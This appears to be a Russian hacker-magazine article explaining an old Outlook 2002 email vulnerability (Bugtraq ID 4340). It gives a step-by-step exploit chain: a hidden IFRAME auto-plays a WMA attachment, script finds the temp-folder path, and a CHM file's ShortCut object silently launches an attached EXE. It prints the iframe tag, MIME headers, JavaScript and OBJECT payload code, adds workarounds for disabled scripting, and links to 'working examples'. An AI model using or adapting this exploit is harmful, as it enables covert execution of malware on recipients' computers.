Пользовался как-то юзер Х рульной программулиной Outlook 2002. И все вроде у него было хорошо, пока не получил он однажды письмецо электронное, вроде бы такое как все… Но был там тэг IFRAME, и запустился у него Windows Media Player тихонечко, да да не один, а еще и *.exe левый за собой потащил. И началась с тех пор у юзера совсем другая жизнь…

Да… в общем не сказочка это вовсе, а печальная реальность, реальность пришедшая к нам под кодом Bugtraq ID 4340.

Суть бага

Жертве направляется письмо с следующими
файлами: xxx.html, xxx.chm, xxx.wma, xxx.exe, причем xxx.exe из них наиболее интересен ;-). Как ты знаешь, есть такая замечательная папка Temporary Internet Files (TIF), в нее очень любят складывать файлы такие программы как Internet Explorer и Outlook. Им (файлам) дается расширение TMP, но по сути, тот же самый Outlook без проблем опознает тип подобного файла исходя из «Content-Type» и «Content-ID». Через HTML мы можем восстановить исходные имена. 

Все эти файлы попадают в TIF, причем, если ты замечал, то в TIF существует великое множество подпапок, так что предсказать в какую папку попадут наши файлы заранее невозможно
(в этом то и состоит основная трудность!). Итак, теперь файлы находятся у жертвы в TIF и пока не активны.
Само наше письмо содержит в себе тег по типу следующего:

<iframe src=»https://xakep.ru/wp-content/uploads/post/14884/cid:mrs.malware» style="display:none">

где cid:mrs.malware — это наш файл xxx.wma

А находит его исходя из следующего:

Content-Type: audio/x-ms-wma;
name=»xxx.wma»
Content-Transfer-Encoding: base64
Content-ID: <mrs.malware>
Content-Location: file:///malware.wma

Для нас тэг IFRAME замечателен тем, что автоматически вызывается Windows Media Player
(конечно если он является проигрывателем
для файлов такого типа) и «исполняется» тот файл, который указан, как «источник» — в нашем случае это xxx.wma
(это и есть основная фишка — мультимедийный
файл проигрывается без запроса). А так как он «наш», то его миссия будет лишь указать на открытие xxx.html, куда мы запихнем следующее:

xxx=document.URL;
path=xxx.substr(-0,xxx.lastIndexOf(«\\»));
path=unescape(path);

Как ты видишь это скрипт, цель которого определить путь к директории из которой он был запущен. Имея этот путь можем вызвать наш xxx.chm
(более подробно о другом интересном баге,
связанном с файлом помощи вы можете
прочитать в другой
нашей статье
) со следующим содержанием:

var xxx=»xxx[1].exe»;
document.writeln(‘<OBJECT id=AA classid=»clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11″ width=10 height=10>’);
document.writeln(‘<PARAM name=»Command» value=»ShortCut»>’);
document.writeln(‘ <PARAM name=»Item1″ 
value=»,’+cool.path+xxx+’,»>’);
document.writeln(‘</OBJECT>’);
setTimeout(«AA.Click();»,3000);

БУМ! xxx.exe запущен. Никто ничего не видел, никто ничего не знает…

Если более кратко обрисовать схему: все
файлы переносятся во временную папку на
машине пользователя — автоматически
запускается на выполнение подставной
мультимедийный файл WMA — он обращается к HTML
файлу, который открывается в новом окне и
определяет полный путь к файлу — HTML файл
вызывает файл справки CHM — файл справки на
основании полученных данных запускает EXE’шник.
Полный алес капут.

Замечания

Для определения пути к директории был использован скриптинг. Однако в браузере он может быть отключен. Тогда необходимо использовать теги с относительными путями, к примеру:

<bgsound src=xxx.chm

или

<img src=ххх.html

Ну и конечно надеяться, что все файлы попадут в одну папку… Кстати, люди исследовавшие эту уязвимость оценивают подобную вероятность как 50/50.

Рабочие примеры:

http://www.malware.com/oxpress.zip
http://www.malware.com/outlook.zip

Оставить мнение

Check Also

Группировка MageCart более месяца похищала данные клиентов Newegg

ИБ-специалисты обнаружили еще одну жертву группировки MageCart. На этот раз выяснилось, чт…